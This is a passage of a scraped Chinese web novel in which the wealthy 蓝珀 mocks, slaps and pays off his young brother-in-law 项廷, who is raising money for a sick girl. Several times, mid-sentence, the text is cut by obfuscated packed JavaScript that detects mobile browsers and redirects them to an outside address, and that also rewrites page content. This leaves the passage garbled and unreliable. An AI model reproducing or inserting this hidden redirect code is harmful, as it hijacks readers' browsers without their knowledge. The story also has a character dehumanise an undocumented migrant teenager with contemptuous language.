何崇玉一脸悲伤无精打采地坐了一会,试图像忘掉噩梦一样忘掉刚才发生的事,假装一切从未发生,打起精神来招待客人。通常来说两个男人吃饭就很简单,蓝珀对无数食物过敏,吃烫的嘴会肿吃辣的头会疼,可以入口得很少,何崇玉却还是做了一大桌子的菜。面对满汉全席,何崇玉又不禁再次陷入忧郁。蓝珀看他眼神,魂走了有一会儿了。 蓝珀说:“可以开动了吗?还是我们开一箱牛奶之前还要问问妈妈?” 何崇玉才意识到自己这属于甩脸子的行为,实属东道做得不周到:“抱歉,你就当我今天有点疯狂吧。” “可你的外表不像个疯子,说不定是这世界疯了。”蓝珀轻叹道,似乎说大声些会带来灾祸,“莫大荣幸!” 何崇玉苦笑:“有时候真羡慕你,你好像对于什么事都不会为难。” “因为我并不接受牛顿眼中的宇宙,也不认同卢梭的自然宗教观,一直为了自己的世界而活的人为什么会感到为难呢?不过,最近感觉我的人生真是些许的一滩烂泥。” 一顿晚餐快变成比惨大会。何崇玉想让谈话的气氛明亮一点,忽说:“昨天那个过生日的孩子,怎么样了?我没有找到他,欠了一句生日快乐。” “他啊——”蓝珀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398209|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍俊不禁,“听说进了警察局,拒绝认罪,一直坚持到断气为止。他这种坐集装箱来的未落档移民,全身挂满了海带和塑料垃圾,满身占便宜的细菌,大有不吃到天上掉下来馅饼绝不罢休的气势。在这个低端人口须自动消失的时代,真是活该被揍得七荤八素、不知拖到哪儿去了。” “什么?为什么?” 何崇玉面露震惊。他家里餐厅摆的是那种做礼拜的长椅,窄如上帝的额头,天生有种苦行的意味,没有一定的信仰加上技巧,坐着都会冷不丁掉下来。好在何崇玉旋即想到,蓝珀此人如同捉摸不定的风,说话真真假假的,不可尽信。 “不为什么吧?因为我恨他。”蓝珀恶笑不断,头上的气场升起黑云一片似得,“如果我能够建言的话,一定恳求上帝,不要让那种什么规矩都不遵守、什么事物都不敬畏、彻底丧失人性、随随便便闯入别人家园的母子,再来到这个星球上。” 蓝珀连皮带骨地诋毁着,恨不得满清十大酷刑都给人家来一遍。何崇玉万分震撼,且不说蓝珀用词的问题,只论那对象只是一个适才成年的男孩子,蓝珀怎么可以对一个小辈如此深恨呢?造物不该如此狠心。 何崇玉搁下了手里的餐具,像是在为难该不该问蓝珀需不需要心理咨询之类的。思来想去,像母鸡关照小鸡一样:“你还好吗?” 蓝珀说:“没关系,我的头一点都不疼。就算疼,但又不至于疼到必须躺倒的地步,很可能无药可治,也足以让人抓狂,但又不至于引发真正的危机,除非某一天所有的并发症都搅和在一起。” 何崇玉天生一个操心的命,起身道:“我去给你找一点布洛芬。” 蓝珀却说:“不要去那个房间了吧,你家的另一位心肝宝贝不是正把自己锁在里面玩小飞机吗?” 妻子抱着大儿子跑了,二儿子还在家,但二儿子不出来。起初夫妻两以为二儿子是个智弱,因为三岁还不会讲话。后来竟被诊断为先天性抑郁症,大脑缺乏生成5-羟色氨的路径,故对外界刺激毫无兴趣,持续心境低落,医生警告成长的某一天很可能就触发自杀倾向。让人愈发坚信是一个魔鬼钻入了子宫后,在妻子体内漫游,释放了浓浓的邪气。 蓝珀伤口撒盐的行为,让何崇玉荒草萋萋地坐了回来。倒不是被打击得多惨不忍睹,是他发现自己不能自医,何况去医蓝珀了。很快,蓝珀拿起外套,抛下他径直走了,留下发愣的他。 工作电话响个不停,蓝珀没有那份闲情逸致接起来任何一个,每个同事都像何崇玉,简直婆妈得要死,这帮人办事总是粘粘乎乎。回到家,他在发着低烧、食欲锐减、昏昏沉沉的状态下,一刻不停地打扫了三个小时。 水壶里的水烧开了,发出“吱吱”的尖叫声。这时门铃也响了。 猫眼里的少年前额有道尚未结痂的伤,鲜艳得令人吃惊,脖子上还有若干条,鞭伤。蓝珀含着一根烟正在压住心里事,猛地看清楚脸,像被照头泼了一桶辣椒水。 项廷公事公办的口吻:“你好,保洁上门。” 23. 羞带石榴俏冤家 蓝珀可没有叫他这个时间过来,实际上昨天两人之间没能取得任何共识。说到底,项廷是否担任男仆一职,这事本就是要打一个大大的问号的。 所以蓝珀根本就没考虑到眼前这个被动的局面,只能在猫眼后头安静了一会。看到项廷一双剑眉压着沉着的眼睛,好像经历了十八岁的短短一夜惊魂之后,心事忽然重了,是不是被揠苗助长了?在警察局龙场悟道了?真的有点看不懂他了。可以肯定的是他遍体鳞伤,而外面正在下雨夹雪,石头都被冻成了粉末,项廷满头冰碴。 蓝珀不仅不提供亲情的避难所,连应都不应,打发臭要饭的也没这样,悄悄转身要回卧室去了。 项廷却说:“姐夫,我知道你在家。” “在家的我不记得我预约了这项服务。”蓝珀双关了一下,“I don''t buy it.” 项廷就说:“那我就去给白谟玺打扫卫生,我认得他家,他绑架过我。或者去他弟那,他弟叫白希利。第一次听到这个名字,中外结合有名有姓,我就猜到他们关系不一般,结果真是亲兄弟。” 蓝珀觉得他自顾自讲小故事很好笑:“好棒啊,快去吧。他自己有房子不住住在香格里拉公寓,我现在就叫专车来接你去。” 外头半晌没动静。蓝珀重新凑上去,透过猫眼看了看,项廷冻僵了的身体往外散发白气,像呼呼直冒的傻气,他忽说:“姐夫,你喜欢男的。” 蓝珀嘴角也就动了两毫米,正要离开,谁知项廷下一句是:“那你觉得我适合做你男朋友吗?我就随便问问。” 雪花与雨滴交织在一起,悦耳地拍打着窗户,仿佛是大自然的摇篮曲。隔着一扇门荒诞且噎人的狂风却扬了特大沙尘暴似得迷住蓝珀的眼睛。蓝珀飞快地眨了眨眼,振翅欲飞的两片睫毛情绪稳定地忽上忽下。 不过他很快双眼眯成一线:“小弟弟,你说话可可爱爱的。” “你有别的话想说吗?没有就当你答应了。明天我们就把这件事公之于众,请大家来吃席,你怎么看?这种事情如果被朋友知道,商场的伙伴知道,他们会怎么看?你这种资本见了落泪,犹太看了惭愧的人,立刻就会变成一个没有一点自制力的形象,不仅是同性恋还骗婚还被自己弟弟勾引,当然也会被蝇头小利吸引,毕竟都不是仨核桃俩枣的买卖,和你做生意,往后可得睁大眼睛了。” 蓝珀才明白过来,妻弟神奇的小脑袋里净是这些没由头的想头,原来只是在低级恶搞,幼稚威胁,颇有点人急悬梁狗急跳墙的意思。既然项廷是个在拿玩具出气的大孩子,纯纯在恶心自己才以身试同,那就欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398210|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赏一下他还有什么新招层出不穷。 “那勉强答应一下,然后呢?” “然后你再不开门,我马上去找白谟玺。我要对他说:迟来的早上岸,赶英超美。” 蓝珀几乎好几年没有这种捧腹大笑的心情了,就变得蛮好说话:“好呀,改天给你开门。” 里面没声了。蓝珀的嗓音总是听得人心痒痒的,项廷听得难受又很想听。他攥住拳头一下下地敲门:“不许改天,就现在,听到没?不开门把你门口的符揭了!” 蓝珀说:“那我先去拿个东西。” 机警的项廷:“你要拿枪是吧?你又要在我两眼中间开一个洞吗?” 蓝珀只开了一点点门,只为了看清楚项廷的腿伤。侦探说他有点跛,这叫有点跛吗?直立行走已经是世界第九大奇迹了! 蓝珀感觉自己才在别样受刑,表情也快收不住了,身体抵着门,找借口:“今天不方便。钥匙弯了,卡在里面拔不出来。” 岂料项廷真是狠角色说干就干,专业的人做专业的事,他居然还带了一个插着拖把的清洁桶。他先把拖把从那个门缝里挤进去,即使都是全新未拆封的工具,还是震慑了洁癖姐夫。蓝珀下意识间弹射起步急忙往后退了一大截。项廷侧着肩稍稍一撞,姐夫的门/户便大开了。 24. 君闻兰麝不馨香 项廷一闯进来,姐夫就逃了,影儿都见不着。一开始还以为是拖把的余威犹在,蓝珀不敢逼视。过了会儿,卧室里晃悠出来一个白胖子。那是蓝珀紧急换了一套防护服,像个太空人,比较地科幻。 和衣服配套的还有防毒面罩,面罩还是单向透视玻璃。 导致在项廷的设想里,姐夫一定正在当着他的面狠狠上嘴脸,姐夫看到他的嫌弃眼神大概如同看到一只侵害橡树的毛虫,姐夫发现他瘸了时幸灾乐祸笑得死去活来。话说,这人到底为什么又藏着一张脸,他的脸很金贵吗?看一眼需要付费吗?白谟玺、费曼办年卡了吗?总不能是因为他像自己一样被揍得像猪头三,有损市容,自惭形秽吧? 却不见蓝珀甚至坐到了空调座机下面的沙发上。躲在阴影里吧,心不会那么发胀。蓝珀取出一支烟,敲一敲,又塞回烟盒里。不吸,现在最好不吸。 蓝珀果断站起来:“走吧,消消毒。” 浴室暖和得像温泉,水压大洗起来痛快。可项廷现在能沾水吗? 蓝珀取下花洒,像那一夜举枪一样指着他,预备进行洗车的一套动作的时候,项廷还背着双肩包。 项廷的衣服一件没脱,但是眼睛尤为直白大胆地盯住蓝珀,就好像即将□□的人是蓝珀一样。 “如你所见,我的家里一尘不染。”蓝珀面带微笑地看了又看,“而你呢,就是我从吸尘器的集尘盒里挖出来的一颗小小的脏球。” 项廷想把书包先放下来。蓝珀却说:“不要做多余的动作。” 意思好像是他也嫌书包脏,脏了瓷砖地面。可这东西明明是他托人送给项廷的。全真皮手工,又轻又护脊柱,摔倒了能减震洪水来了能当救生圈,一个书包六千八。项廷疏于关注何谓品质生活,只以为这是家政公司的上钟套装,人人都有。 项廷脱得干脆,一脱到底,只剩一条纯白的四角裤。他的身体笔直而有力,就像春天里勃发的小白杨,肌肉线条逐渐变得清晰,力与美的雕塑。然而,上面交错纵横的全是伤。蓝珀的面罩起了雾,目光透过朦胧的玻璃,扫过数不清的伤痕,那慢镜头简直恐怖。 蓝珀搁下水枪,表现出诚心诚意的惊奇:“天啊,真是壮观,这么多伤,是电影里的特效妆?还是你心目中的荣耀勋章?” 项廷却没有顺着姐夫铺的台阶往下走,说说一封推荐信如何一波三折,把委屈一股脑倾诉出来。 他咬紧牙根:“跟你没关系。” 僵了这个局,蓝珀笑着玩不生气:“哦,骨气可嘉,不过这就是你有求于人时的求人态度吗?” 起初蓝珀半开玩笑,让项廷变成写作男仆,读作一条哈巴狗的时候,这小孩死活不依,宁折不弯。怎么眨眼的功夫,就一百八十度大转弯送上门来了呢?无事不登三宝殿,蓝珀当然猜到了。 蓝珀:“说说。姐夫知道你不容易,有困难你说话。” 项廷犹豫了片刻,说:“我师父的女儿病得不轻,得的是个大病。” “大病?绝症?” “嗯。” 蓝珀像听了什么丢人现眼的笑话:“绝症绝症,既然叫绝症,那意思就是……” 项廷猛地打断:“那也不能等死吧?不治真的就是慢性死亡了!” “为了不慢性死亡,也可以加速死亡呀。你当然该给快要渴死的人一杯海水。” 如果心里的念头会有回声,这时浴室里一定响彻了项廷的怒吼:你还是人吗,啊? 蓝珀继续说着:“读过高中吗?自然选择,强者生存,天公地道。穷人的两大原罪在于:怕死,想活。人穷就别生孩子。你不会以为在如日中天的大美利坚,纽约还真是一个风情万种的世界大同主义之城吧?” 项廷说:“钱都被你们这些人挣完了。现在只有你有这个钱。” “这是何意呢?”蓝珀诧异得声音都有点变调了,艺术的成分很高,“姐夫的钱是大风刮来的吗?还是那钱上印着玉皇大帝么?吹牛也要摸个边边吹。” 蓝珀见死不救就算了,好奇心还很旺盛,问起老赵的来头,以及跟项廷的关系。项廷说我师父就是后厨里的师傅,人挺好的。蓝珀断言,你有什么把柄在他手上吧,你做到这个份上!坦白从宽。项廷不懂他究竟什么爪哇国的逻辑,路见不平拔刀相助,救人一命胜造七级浮屠,需要多具体的原因?有什么好解释的?到了美国大家都算老乡,难道遇事就闪? 项廷再说下去,蓝珀也坚决不信的样子。 这人真怪!有点暴躁了,项廷脱口而出:“你有病了我也一样啊!” 蓝珀结结实实地愣了一下,随手抓起身边的一条毛巾扔到了项廷头上,转身就要离开浴室了。 突然项廷惊呼:“真在你这!” 原来那不是什么毛巾,而是上次项廷从衣柜里掉出来的那块手帕,蓝珀洗干净了就晾在那。蓝珀听到声回头,项廷以为他反悔了要抢走,手忙脚乱两只手一起攥着手帕背到身后去,蒸汽早就把胸膛熏红了,军训似得,他赤条条地立正站好:“我要洗澡了,你快出去吧!” 蓝珀这会儿估计连眼睛都会笑。项廷看不见,以为他赖着不走,在这围观。项廷一脸不可伤及的男子汉自尊,情急之下,尊了他一声:“姐夫!” 蓝珀回到卧室,看了会书。几个钟头一晃就过去了,项廷还在浴室里待着。蓝珀贴了一片睡眠面膜正在调整面膜角度,关灯睡觉了,笃笃、笃笃,项廷敲门了。 里面流荡着一股仙境的幽香,只亮着一盏床头的小夜灯。光线微弱,本就十分抓瞎,蓝珀全脸还焊了一层惨白的水泥。项廷不至于被吓到,只是看姐夫的眼神很陌生,好像靠他说话才分辨出是他。 蓝珀贫血的中世纪贵族似得,半坐在床上:“有事吗?” 没说不给进,那项廷直接进了,而且关上门。要搞大动作。 项廷肃穆地走向床边,全身被拥在脂粉的香海里,虚心地说:“我今天在唐人街相中了一块玉,觉得特别适合你。” 项廷说完停了会,他意识到不论自己说什么,都感觉姐夫在听笑话(蓝珀大差不差也就是这样)。他掏出藏在心口的那枚戒指,捧给蓝珀,蓝珀不予理睬,项廷只能把戒指放到了他绣着银线的被面上。 蓝珀都不抬眸:“小东西。” “东西是小,但东西好。” “好的我太多了。” 蓝珀示意一下床头柜的抽屉,项廷拉开以后,简直百宝箱,都要溢出来,打开了就合不上了。项廷想请问呢,你是蜈蚣吗?你要戴这么多! 项廷忍住了:“你先看一眼吧。你看了再跟我说这个你也有,你有我转身就走。” 等了许久,才等到蓝珀的一眼。 那是一颗春彩翡翠的蛋面戒指,在几乎为零的打光下,玉石大放异彩,紫色极为明艳。这种货挑灯难寻。 蓝珀却说:“我是喜欢色货,但仅限绿色。” 记得蓝珀玩翡翠,因为第一见面时,项廷看到了他手上的帝王绿,那绿翁如春华。 项廷说:“黄翡绿翠紫为贵,紫气东来,大红大紫……你看啊,沾点紫都是好寓意,特别好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398211|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蓝珀看了看他的脸:“鼻青眼紫。” “狗急跳墙的废话还是少说吧,我困了。”蓝珀皇后般端庄地躺下来,拢了拢被子,突然想起来,“你哪来钱买的?” “之前攒的上学的钱。” “那学呢?不上了?”蓝珀一只手支一下又坐起来了。 “淘来也没多少钱。美国人不玩这个,中国人里也没几个懂玉的。” “一口报个准价。” “四千多。” “扯了半天跟没扯一样,我问你出价。” 项廷一个正经数字也没回复,跟他眼中现在女鬼似得姐夫对视了一会,终于笑了笑:“看老赵。” 指望用一个白血病小姑娘打动蓝珀?那真如同尘沙入海永远不会惊起半点水花。所以项廷一开始就没相信谁能零成本说服他掏钱,他是资本家不是慈善家。 倒了块玉就不一样了,项廷有底气:“留着吧,姐夫。你有人脉,转手就翻番,或者挂到国内的拍卖行,我还给你留了很大空间。” 蓝珀嘲弄:“胆子比小牛还大,你就这么肯定不会烂手里了,我要是不收呢?” “你也识货,你凭什么不收?” “因为你拽拽的。谁这么卖东西、谁这么对上帝呀?”蓝珀轻轻又轻轻地说,语气像那种孩子摔倒了哄孩子说是地板亲了我们小超人一下一样,紧接着立马恐吓,“哇!四千多打水漂了,血本无归,倾家荡产啊。” 项廷想说,做生意本来就是赌。可是面对这位阴晴不定的大客户,说不定下一秒就翻脸不认人了,他一心只想把买卖赶快促成,坐上一个彻底的实。于是他一声不吭,毫无预兆地握住了蓝珀的手腕。蓝珀猝不及防之间绝对挣了不止一下,因为项廷虽然不在乎甚至不屑去感受他那点儿反抗,可切切实实听到了银饰铮铮鸣响,不晓得自那露莹莹的睡袍之下哪处、抑或是哪几处传来的。香气也一瞬之间摇曳生姿。 软的不行只能来硬的!项廷不容分说牢牢摁着他的手腕,在无名指上套了那枚戒指。 方方面面的强买强卖。项廷紧抓不放,说:“你戴上就是你的了!” 蓝珀给气笑了:“你要送我啊?” 他抬起手端住了项廷的下巴,作出有意无意的样子,用小半个手掌拍了拍项廷的左脸:“跟你姐结婚以后,我可是晚上逛窑子都不给钱呢。” 这下可碰到项廷的逆鳞了。但是项廷再三警告自己,眼下不宜把矛盾表面化,只能说:“……做生意起码守点规矩。” “规矩?有钱就是国王,国王要规矩干什么?国王予取予夺!”蓝珀在右边脸上来了个漂亮的对称。 项廷忍辱负重,看着很稳,心里真的没数,只能赌他姐夫残存一点良心了。顶着一双巴掌印的他,觉得蓝珀善心未泯,因为蓝珀刚才很弱,连碰一下都带抖的。 “送你就送你!” “哦,为什么呢?” 项廷学老北京的卖翡翠,到了这一步,应该是再说两句吉利话把老板捧开心了,哄着出门。项廷毕竟头一次当倒爷,还不上道,搜肠刮肚,是不是可以夸姐夫是老总富豪的手型,一看就特别有福?太俗了。 蓝珀这回真要睡觉了。正准备躺下,项廷再次抓住他的手,焦急地按着那枚翡翠,确认它还在它该在的位置上,白玉枝上绽着瑰紫的花中之王。此外,似乎实在词穷了。静默着,月下仿佛小王子凝视着睡美人的梦中画卷。项廷低了低头,月光宛如一串细腻温婉的亲吻在他的脖颈后降落。项廷的那个“因为”卡壳好久,才说了下去:“美玉配美人。” 25. 嘲撩风月性多般 今夜无眠。蓝珀没有明说能否留宿,项廷主观上不想走,客观上却不敢睡。当今国内盛行一种说法:吃了外国人给的糖会昏迷,醒来发现自己在台湾。项廷美漂有段日子了,努力对西方世界祛魅,但想起上回就在姐夫家,被“毒气”熏昏的经历,不得不留个心眼。 项廷在客厅里坐了会儿,哪也没去,万一又误入魔法阵呢?去了趟洗手间,听到外面窸窸窣窣,还以为进贼了。出去发现是姐夫半夜起来,趿着一双软底丝绒鞋,如同天外降临下一个悄无声息的精灵,在翻冰箱。 蓝珀一整天都不精神,晚饭几乎没吃,还发了低烧,他没时间探究病根在哪。但刚刚饿醒了的时候,似乎一切都不药自愈了,整个人容光焕发。 项廷只见他姐夫宫廷画似的走出来,那穿的睡衣款式一言难尽,在项廷的有限认知里,一件雪白带藕色和绿色大花图案的和服。他糊着一张大白脸,脸下头的脖子更加苍白,气血不运病西子一样在那,真怕窗户没关严一丝风钻进来他倒了,轻轻一推就没了,头重脚轻,一朵摇摇欲坠的大牡丹花。 蓝珀当妻弟不存在的样子,一心弄吃的。项廷最开始压根不想看他,更不关心,可是蓝珀的数个操作实在让人震惊。 当看到海产的捆绳都不解就焯时,项廷憋不住了:“这是活煮吗?这样是不是鲜一些?” 蓝珀:“这样懒一些。” 蓝珀换水煮了好几遍,似乎才决心捞出来去内脏,做菜顺序倒反天罡。项廷看不下去,只觉得他一系列动作简直像小时候邻居家的小女孩办家家酒请小伙伴吃饭。屋子飘出淡淡的药膳味时,项廷走过去强行接手,告诉蓝珀坐那儿等吃就行了。 身体力行地劝蓝珀让贤的时候,项廷习武之人,动作幅度有点大,难免磕磕碰碰。蓝珀说:“Oops,你有点粗鲁了,可以改改吗?” 项廷埋头干事,三分钟干完了蓝珀磨蹭三十分钟的事。他做菜要技术有技术,要节目有节目的。 蓝珀没事做就说风凉话:“哦,我忘了,毕竟你是逃学威龙。” 他好像对项廷挪用学费的事情耿耿于怀。项廷不搭理,蓝珀不依不饶:“小姑娘的照片有吗?” 项廷这才愿意开口:“问这个干嘛?” “咦,爱心人士连瞧一瞧他的爱心送给了谁都变成奢望了吗?” 项廷一下惊喜过望,正在改刀的手都透露出高兴,不过他还是坚持把这根黄瓜切完了。他从锅里盛了一碗热粥,在围裙上擦干净手,端给蓝珀。接着从他随身带的工具包里,拿出一份白纸黑字的红十字捐助协议来。 “真是小看你了,打家劫舍、劫富济贫准备得这么充分。哪怕在这个市场时代,这笔账也不应该这样来算吧?”蓝珀看得笑了,“我每天都在签合同,也不在乎多了这一份,就是十份我也签得起。但你猴急成这样,你呢,争分夺秒,好像不大相信姐夫是讲诚信的人。” 项廷说:“不签你也一定会帮,因为你信教,哪个教派不是说‘施比受更有福’?我只是想让你吃完东西就早点睡觉,你看着脸色好差啊。” 项廷把协议对折,扔进垃圾桶,接着就回厨房放手放脚地忙活去了,仿佛什么都没有发生过。 四菜一汤上桌。蓝珀的筷子却不动一下,说:“所以那小女孩长什么样?” “没仔细看。” “真的假的,你跟我讲话还这么含着蓄着?”蓝珀连声表示惊讶。 “我干嘛看?” 项廷一点没撒谎。一方面在美丑问题上,项廷非常迟钝。国内不论男女这会儿还个个都灰扑扑的,黑咕隆咚的旧社会,脚踝要用袜子遮住,新时代青年穿了红裙子绝对招致满大街的非议,紧身牛仔裤实属都市传说;另一方面,那赵家姑娘太憔悴了,一片干了的海蜇。探病的盯着病人看很不礼貌,太残忍了。 所有一切的反例就是他姐夫。这个人简直是全中国社会最唾弃的靡靡之音化成了精,他现在只露出的一截小腿肚子,就透着娇娇滴滴喝饱水的模样。 “你的眼是干什么用的?你的脑是干什么用的?你不看她就这么帮她?我不审你我也知道后面的一二三。” 项廷深深感到,他和姐夫常常不在一个频道,南辕北辙,眼下却必须为了目标聊到一起。项廷只好说:“女孩当然长女孩样啊,跟我差不多大吧。” 蓝珀意味深长地哦了一声,然后起身回了卧室,不知道捣鼓什么。回来时两根手指夹着一枚薄薄的方片,在项廷眼前晃了晃,招摇得很:“拿好了,以备不时之需。” 项廷捏了捏塑料薄膜的外包装,看着虚生百病的姐夫,他还以为是什么药呢。 “不认识吗?我送你的成人礼物。”蓝珀极其轻松的轻笑传来,“避孕套。” 国内撸串就是学坏,国外十八岁全家人一块鼓励你开干。项廷突然中文也不好了似得,砰、砰、砰!三个字像三颗子弹在大脑里拐弯穿梭,突然忘了他对姐夫的刻板印象本就是私生活紊乱,一年四季命交桃花,洋溢着风骚的韵味无恶不作,逢人便可委身。项廷的震撼无法隐藏:“你、胆子真大!” 蓝珀笑闷了:“不大不大,我有你胆子一半大我就不怕了。” 接着,蓝珀收获了一个前所未有的评价。项廷内心余震不断:“你也太脏了!” 蓝珀眉毛都没抬,一点也不生气,言归正传:“在这个时代脏的意识早就很淡漠了,一切得为欲望让路。难道情大欲大就很低级吗?吃饭喝水睡觉觉,都是一样必需品罢了。而且男人一天到晚想什么?总不是很高尚的情调吧。那么多温文尔雅的话都是烟幕弹,内心的焦点就是床,床,床,下了床各走各的。可怕,可怕。” “那你呢!你做好榜样了?” “我?可能我没你那么崇拜爱情,其实当代的爱情最多只是好感,有好感就不错了。” 可能是项廷的错觉,说这话时的蓝珀忧郁而呆滞,就一瞬间,稍纵即逝。 蓝珀:“话说回来,总之男孩子的责任总归大一点。你切记,别人不反对不一定是同意,同意了那个一下也不等于同意你们有个baby。所以咯,你手上的是人类有史以来最伟大的发明,阿门。哦,都听说有钱人玩完会在套套里放烟灰,别问我怎么知道的。” 月亮悬在高楼之上,如同观音的面庞,安宁而明净地注视凡世人间。好像蓝珀真的是一个语重心长的长辈似得。 可是,项廷能不能接受姐夫摆出一副过来人的姿态对他进行一通性教育是一回事,首先蓝珀的切入点就让人犯呕。项廷才反应过来,姐夫刚才刻意为之的照片问题,居然是在翻来覆去地打听自己是不是觊觎一个卧病在床的姑娘,龌龊! 蓝珀说:“怎么了,现在的小男孩子都是豆腐做的吗?说句话就碎了?” 简直不敢想不敢听,项廷摇摇头想甩开刚才这段记忆似得,健忘是他的自我保护。但是他又不甘在姐夫面前露怯,失去男子气概,紧紧攥着那只避孕套:“……那你就只给一个?” 蓝珀点点头:“是的,因为姐夫是图省钱的小气鬼。” 然后他皱了皱眉,开始指摘起项廷的外在:“你这个发型狗啃的呀,碗扣脑门上剪的?那女孩子不是一朵鲜花,好鲜好鲜的鲜花,插……” “够了!你又不是我爸妈!” “我这个年纪的确可以生一个你了呀。” “你也就三十岁不到,倚老卖老不太好吧!” 蓝珀只作幽香不作声地站了起来,走到餐桌对面,项廷坐的那儿。然后稍微欠起身体,抬腿坐到大理石台面的一角上,似乎端详了一会项廷。 接下来,项廷脸上忽然啪的一声响。 蓝珀刚刚回卧室,不仅拿了避孕套,还取了支票。 白花花的银票打在脸上,啪,一张,啪的,又是一张。十万美金,如此轻飘。薄如蝉翼的纸,扭转生死。 蓝珀笑道:“这也不好吗?” …… 青涩的脸很快被黄金白银打红了。项廷被侮辱得全身火烧火燎,咬着牙直视他像匹狼,觉得蓝珀真是一副活够了的模样。可任他如何愤怒,为了救一条命,唯有牺牲人格,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别说了……” “就说你能怎么办,够证据就去告我。”蓝珀笑着捏了捏他的脸,慢悠悠地说,“小弟弟,你的料够不够硬啊?” 真被他瓷瓷实实地装到了!项廷把他的手抓下来,使劲地握住,怎么也不松开,如果真能把易碎品姐夫捏碎就好了。蓝珀笑着,说好了,好了,项廷压抑着怒吼,没好!没好! 就这样相持了好一会。项廷放弃:“你不困我困了。” “对哦,你今晚睡哪呢?”蓝珀含笑不语了一会。 项廷弯下腰去捡一地的票子,正处在草木皆兵的状态时,蓝珀还逗他:“就睡这吧。” 他踩在客厅一块小小的圆形地毯上。 项廷:“你疯了吗?狗才睡地上!” “狗狗有狗狗的用处呀。”蓝珀甚至把烟灰缸放地上当狗盆。 项廷眼神暗了暗,再也不想说什么。他知道他不论说什么,姐夫都会哼哼唧唧地装傻,把疯言疯语进行到底。他理解姐夫是那种喜欢犯贱的有钱人,这种人感到迷茫,感到空虚,生活没有色彩,所以只能犯贱。在不能找一根绳子把姐夫绑起来,把他的嘴堵住,把他的舌头完全缠住并且打了个死结之前,项廷自知多说无益,不能回合制吵架。 出人意料的是,蓝珀这个点忽然说有个约,收拾一下直接出门了。饭一口不吃,他说不干净他能闻到灰的味道。 没人监督项廷今天睡哪,去主卧床上打几个滚都没人知道。但项廷不会放过种种联想,他想蓝珀家里肯定装了监控。钱没到账之前,蓝珀随时都会变卦。项廷服从大局。 凌晨三点半,他坐在地毯上用头抵着沙发的扶手,把眼晴闭上了。被蓝珀揉乱的发型,还保持原样。 然而蓝珀的魔音不散。仿佛自己才是被他绑到了椅子上,单曲循环避孕套三个邪恶的大字,还有他的歪理邪说,他的“讨厌论”更如同一条大海带在项廷的脑袋里扭来扭去。以及他那一套恶心坏了的动作,打耳光、挠下巴、揉揉脸、摸摸头…… 项廷觉得自己空前地失败,排空脑积水反思。 但他上门也不光为了募捐,他是一颗红心两手准备。推荐信的事让他现在谁也不信,看谁都可疑,他高度怀疑蓝珀与此事有染。就在他洗完澡出来那会,只见桌上一部亮着屏的翻盖手机,短信箱第一条:明天下午三点,联合国广场666号,不见不散。 26. 铁骑突出刀枪鸣 次日,项廷照常上班。麦当劳的店长见他腿不好,让他坐着摊肉饼。 今天的班多了一个小跟班。早上五点整,白府的八排小闹钟都响了。十一点多,白希利驾到。 店长竟也不敢多说什么,大家只能看着白希利长驱直入,动不动亲热地拍拍项廷的肩膀、后背,还跟在项廷屁股后面,从过道跟到厨房,又从厨房撵到厕所,见到个活物都能互动。 他一边嘴里絮絮聒聒什么奇闻轶事啦,尤其是哥哥又和好莱坞的半壁江山量子纠缠啦,此等风流韵事说得尤为绘声绘色。暗示举世除了你,人人都想飞上枝头过豪门的日子,看吧,即便出身贫民也会有一飞冲天的机会啊。 然而项廷实在是个须眉浊物,好像对儿女之情天生非常之驽钝,这方面的头脑原始得很,难道他是单性繁殖的产物? 白谟玺的素材用光了,白希利转而说蓝珀,发出一片倒的负面评论。说他是一个情场的希特勒,拥有爱因斯坦一样脑筋,斯大林一样的权力,垄断了这个星球爱情的资源,万事万物都在他的影子中生灭。是个男人便收编囊中,取之尽锱铢,用之如泥沙。白谟玺、费曼,一个右将军一个左丞相,可下头还有济济万民呢! 项廷虽然继续置之不理,但是显然抿直了唇角。嘴巴绷成一条线了,白希利还是叽里呱啦。于是大家好像看见两个男孩一个在前面气着走,一个在后面追着哄。忽然项廷一个转身,白希利吓了一跳,找了柱子当掩体。基于良好的家教,项廷没有讲话,但眼神好像在警告他,做人不要太阴暗了,人至少不能够扭曲成蛆。 如果身边有这样一个极具煽动性的大忽悠,夜以继日地忽悠,被忽悠住的可能性确实不小。但白希利说的这些,项廷早认为是既定事实了,再听几十遍,也说不上有多反感。可能因为他对姐夫的憎恶登峰造极了,没有一寸寸的进步空间了。 